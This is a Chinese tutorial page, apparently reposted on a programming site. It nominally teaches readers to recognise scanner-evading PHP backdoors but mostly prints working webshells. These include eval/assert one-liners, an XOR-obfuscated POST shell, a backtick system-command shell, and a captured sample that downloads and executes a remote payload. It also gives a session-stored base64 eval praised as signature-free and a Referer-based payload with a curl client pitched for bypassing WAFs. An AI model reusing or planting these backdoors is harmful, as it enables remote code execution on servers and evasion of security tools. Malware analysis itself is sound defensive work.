PHP编程:教你识别简单的免查杀PHP后门
《教你识别简单的免查杀PHP后门》要点: 一个最常见的一句话后门可能写作这样 <?php @eval($_POST['cmd']);?> 或这样 <?php @assert($_POST['cmd']);?> tudouya 同学在FREEBUF上给出[一种构造技巧]利用PHP教程
代码如下:
<?php? @$_++; // $_ = 1? $__=("#"^"|"); // $__ = _?? $__.=("."^"~"); // _P?? $__.=("/"^"`"); // _PO?? $__.=("|"^"/"); // _POS?? $__.=("{"^"/"); // _POST?? ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);? ?> 构造生成,当然,嫌太直观可以写作这样PHP教程
代码如下:
<?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?> 然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就呈现了PHP教程 我们再来看看号称史上最简单免查杀php后门PHP教程 直接上代码:PHP教程 <?php $c=urldecode($_GET['c']);if($c){`$c`;}//完整 !$_GET['c']||`{$_GET['c']}`;//精简 /******************************************************* * 原理:PHP中``符号包括会当作系统命令执行 * 示例:http://host/?c=type%20config.php>config.txt * 然后就可以下载config.txt查看内容了! * 可以试试更变态的命令,不要干坏事哦! *******************************************************/ 其实现原理就是PHP会直接将 ` 符号(注意:不是单引号)包括的内容解析为系统命令执行!这样就可以自由变态地扩展了!PHP教程 再来看同样很简单的一段代码PHP教程 <?php preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft"); ?> 暗码pagePHP教程 近期捕捉一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣.接下来就让我们一同共赏这个奇葩的Webshell吧.PHP教程 Webshell代码如下:PHP教程 <?php error_reporting(0); session_start(); header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents( sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649); @preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null); ?> 关键看下面这句代码,PHP教程
代码如下:
sprintf('%s?%s','687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid()) 这里执行之后其实是一张图片,解密出来的图片地址如下:PHP教程 http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
代码如下:
<?php echo gzuncompress(substr(file_get_contents(sprintf('%s?%s', '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),3649)); ?> 无特征暗藏PHP一句话:PHP教程 <?php session_start(); $_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); $_SESSION [ 'theCode' ]&&preg_replace( ''a'eis','e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION['theCode']))','a' ); ?> 将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码.用扫描工具来检查代码的话,是不会报警的,达到目的了. <?php $_GET [a]( $_GET [b]);?> ? 执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用. <?php //1.php header( 'Content-type:text/html;charset=utf-8' ); parse_str ( $_SERVER [ 'HTTP_REFERER' ],$a ); if (reset( $a ) == '10' && count ( $a ) == 9) { eval ( base64_decode ( str_replace ( " ","+",implode( array_slice ( $a,6))))); } ?> 文件2 <?php //2.php header( 'Content-type:text/html;charset=utf-8' ); //要执行的代码 $code = <<<CODE phpinfo(); CODE; //进行base64编码 $code = base64_encode ( $code ); //构造referer字符串 $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ; //后门url $url = 'http://localhost/test1/1.php ' ; $ch = curl_init(); $options = array ( CURLOPT_URL => $url,CURLOPT_HEADER => FALSE,CURLOPT_RETURNTRANSFER => TRUE,CURLOPT_REFERER => $referer ); curl_setopt_array( $ch,$options ); echocurl_exec( $ch ); ?> 通过HTTP哀求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测.用这个思路bypass waf不错.PHP教程 我们以一个学习的心态来对待这些PHP后门法式,很多PHP后门代码让我们看到法式员们是多么的用心良苦.PHP教程 《教你识别简单的免查杀PHP后门》是否对您有启发,欢迎查看更多与《教你识别简单的免查杀PHP后门》相关教程,学精学透。编程之家 52php.cn为您提供精彩教程。 (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |